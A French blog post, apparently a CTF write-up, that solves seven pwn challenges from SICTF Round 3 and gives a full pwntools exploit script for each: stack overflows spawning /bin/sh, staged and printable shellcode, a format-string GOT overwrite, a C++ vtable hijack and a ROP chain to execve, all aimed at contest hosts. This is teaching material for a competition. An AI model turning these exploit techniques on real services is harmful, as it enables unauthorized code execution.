Analyse des challenges pwn SICTF Round 3

stack

La fonction run retourne le résultat de strdup(buf), ce qui signifie que le contenu saisi est directement renvoyé.

char *run()
{
  char buf[76];
  size_t nbytes;

  printf("Give me the length: ");
  LODWORD(nbytes) = get_int();
  if ( (unsigned __int8)nbytes > 0x40u )
  {
    puts("Too long!");
    exit(1);
  }
  printf("Give me your command: ");
  read(0, buf, (unsigned int)nbytes);
  return strdup(buf);
}

Une fonction backdoor est présente, mais on ne peut pas rediriger le flux d'exécution directement vers celle-ci. Pour l'activer, l'entrée doit être give me flag, mais system exécute cette même chaîne. L'astuce cnosiste donc à rediriger le programme vers l'adresse qui appelle system avec comme argument notre propre chaîne, comme /bin/sh\x00 pour obtenir un shell.

int __fastcall backdoor(const char *a1)
{
  if ( strncmp(a1, "give me flag", 0xCuLL) )
    return puts("Nope!");
  puts("You got!");
  return system(a1);
}

Exploitation :

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'
r = remote('yuanshen.life', 33057)

elf = ELF(file_name)

backdoor = 0x4011F4
r.sendlineafter(b'Give me the length: ', b'256')

# Construction du payload : "/bin/sh\x00" + padding + adresse de backdoor
p = b'/bin/sh\x00' + b'a' * 0x50 + p64(backdoor)
r.sendlineafter(b'Give me your command: ', p)

r.interactive()

Bug_Zapper

La lecture est limitée à 0x10 octets. L'idée est d'écrire un premier shellcode qui appelle read pour lire une deuxième charge utile plus longue en modifiant rdx. Ensuite, on envoie un shellcode complet généré par pwntools.

if ( (unsigned __int64)sys_read(0, (char *)0x1919810, 0x100uLL) <= 0x10 )
    __asm { syscall; LINUX - sys_creat }

Exploitation :

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'
r = remote('node4.buuoj.cn', 26870)

elf = ELF(file_name)

# Shellcode : mov esi, eax; xor eax, eax; xor edi, edi; mov edx, esi; syscall
shellcode = b'\x89\xc6\x31\xc0\x31\xff\x89\xf2\x0f\x05'
r.sendlineafter(b'you', shellcode)

sleep(1)
# Deuxième payload : shellcode complet
p = b'\x90' * 0xa + asm(shellcraft.sh())
r.send(p)

r.interactive()

Easy_SI

Utilisation d'une chaîne de format à l'aveugle. On commence par envoyer %49$p pour obtenir une adresse. En analysant la stack, on déduit la base de la libc et on trouve que la GOT de printf se trouve à 0x404030. On la remplace par l'adresse de system.

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

r = remote('yuanshen.life', 34046)

libc = ELF('./libc.so.6')

# Obtention de l'adresse de la libc
r.sendlineafter(b'the game!!!', b'%49$p')
r.recvuntil(b'0x')
libc_base = int(r.recv(12),16) - libc.sym['__libc_start_main'] - 128

system = libc.sym['system'] + libc_base
printf_got = 0x404030

# Écriture de l'adresse de system dans printf_got
p = fmtstr_payload(6, {printf_got: system})
r.sendline(p)

r.interactive()

overflow

Le binaire n'a ni PIE, ni canary, et les segments RWX sont présents. Une fonction backdoor est accessible. Le point d'intérêt est dans l'opérateur std::string::operator=.

On peut écraser le pointeur vers la GOT de __stack_chk_fail pour le remplacer par l'adresse de la backdoor. Lorsque le canary est corrompu, le programme appelle __stack_chk_fail, exécutant ainsi la backdoor.

Exploitation :

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'
r = process(file_name)

elf = ELF(file_name)

backdoor = 0x4011D0
stack_chk_got = elf.got['__stack_chk_fail']

# Construction du payload
p = p64(backdoor)
p = p.ljust(0xa8, b'a') + p64(stack_chk_got)
r.sendline(p)

r.interactive()

Eeeeasy_Cpp

Programme C++ avec deux allocations heap. Le mot de passe peut overflow sur le second bloc qui contient la vtable et l'adresse de sortie. On peut modifier la vtable pour pointer vers une adresse contenant la backdoor, après avoir leaké l'adresse du heap.

Exploitation :

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'
r = remote('node4.buuoj.cn', 26870)

elf = ELF(file_name)

def add(name, password):
    r.sendlineafter(b'>> ', b'G')
    r.sendlineafter(b'Enter your name: ', name)
    r.sendlineafter(b'Enter your password:', password)

def show():
    r.sendlineafter(b'>> ', b'P')

# Obtention de l'adresse de base du code
r.recvuntil(b'0x')
code_base = int(r.recv(12), 16) - 0x2650

backdoor = code_base + 0x22E0
vtable = code_base + 0x4D38

# Leak de l'adresse du heap
add('a', b'\x00' * 0x18 + p64(0x21) + p64(vtable + 0x10) + b'\x48')
show()
r.recvuntil('Name: ')
heap_addr = u64(r.recv(6).ljust(8, b'\x00'))

# Écriture de l'adresse de backdoor dans le heap et modification de la vtable
add(b'\x10', b'a')
add(p64(backdoor), b'\x00' * 0x18 + p64(0x21) + p64(heap_addr - 0x40))
show()

r.interactive()

Bug_Zapper_Pro+

Le shellcode est limité à 0x10 octets et doit être composé de caractères visibles (codes entre 0x20 et 0x7E). On écrit un premier shellcode qui soustrait 0x67 de al pour modifier rax, puis utilise une opération XOR pour générer l'instruction syscall. Ensuite, un second shellcode (plus long) lit le flag.

Exploitation :

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'
r = remote('node4.buuoj.cn', 26870)

elf = ELF(file_name)

# Premier shellcode : visible, prépare le terrain pour un read plus long
shellcode = asm('''
sub al, 0x67
push rax
pop rsi
xor word ptr [rax + 0x72], ax

pop rdx
push rbx
pop rax

.word 0x4a76
''')

shellcode = shellcode.ljust(0x10, b'\x20')
r.sendafter('Welcome', shellcode)

# Deuxième shellcode : orw pour lire le flag
shellcode = asm('''
mov rax, 0x67616c66
push rax

mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 1024
mov rax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, rax
mov rax, 1
syscall

mov rdi, 0
mov rax, 60
syscall
''')

shellcode = shellcode.ljust(0x74, b'\x90')
shellcode += asm('''jmp rsi''')
sleep(1)
r.send(shellcode)

r.interactive()

TalkBoom

Programme Rust sans canary ni PIE. L'entrée est comparée à plusieurs chaînes. L'une d'elles (à l'offset 0x448740) déclenche un read avec une taille de 0x100, provoquant un buffer overflow. On leak cette chaîne en téléchargeant le binaire envoyé par le serveur (codé en base64). Ensuite, on envoie un ROP pour obtenir un shell.

Exploitation :

from pwn import *
import base64, os

def pwn():
    r.recvuntil('This is your Bomb: \n')
    r.recvuntil("b'")
    a = r.recvline(keepends=False)

    decoded = base64.b64decode(a)

    with open("poc3.gz", "wb") as f:
        f.write(decoded)

    os.system('gzip -d poc3.gz && chmod +x poc3')

    binary_path = './poc3'
    target_address = 0x448740

    elf = ELF(binary_path)
    value = elf.read(target_address, 63)

    os.system('rm poc3')

    # Envoi de la chaîne correcte pour atteindre le code vulnérable
    r.sendlineafter(b'Welcome', value)

    # Gadgets ROP
    pop_rdi_ret = 0x402359
    pop_rsi_ret = 0x4042bc
    pop_rcx_ret = 0x402b38
    mov_rdx_rcx_rbx_ret = 0x4461d4

    # Chaîne "/bin/sh"
    binsh_addr = 0x4603e8 + 0x50

    # Construction du payload ROP
    payload = b'a' * 0x38
    payload += p64(pop_rdi_ret) + p64(0)  # stdin
    payload += p64(pop_rsi_ret) + p64(binsh_addr)  # buffer
    payload += p64(0x404e8d)  # read(0, binsh_addr, ...)
    payload += p64(0) * 7  # ajustement de la stack
    payload += p64(pop_rdi_ret) + p64(59)  # syscall number execve
    payload += p64(pop_rsi_ret) + p64(binsh_addr)  # argv
    payload += p64(pop_rcx_ret) + p64(0)  # envp
    payload += p64(mov_rdx_rcx_rbx_ret)  # rdx = 0
    payload += p64(0)  # rbx (padding)
    payload += p64(0x402a7c)  # syscall

    r.send(payload)

    # Envoi de "/bin/sh\x00" pour le read
    r.send(b'/bin/sh\x00')
    r.sendline('cat /flag')

while(1):
    try:
        r = remote('112.124.59.213', 10001)
        pwn()
        r.interactive()
        break
    except EOFError:
        continue

Étiquettes: pwn CTF SICTF buffer overflow shellcode

Publié le 19 juillet à 11h11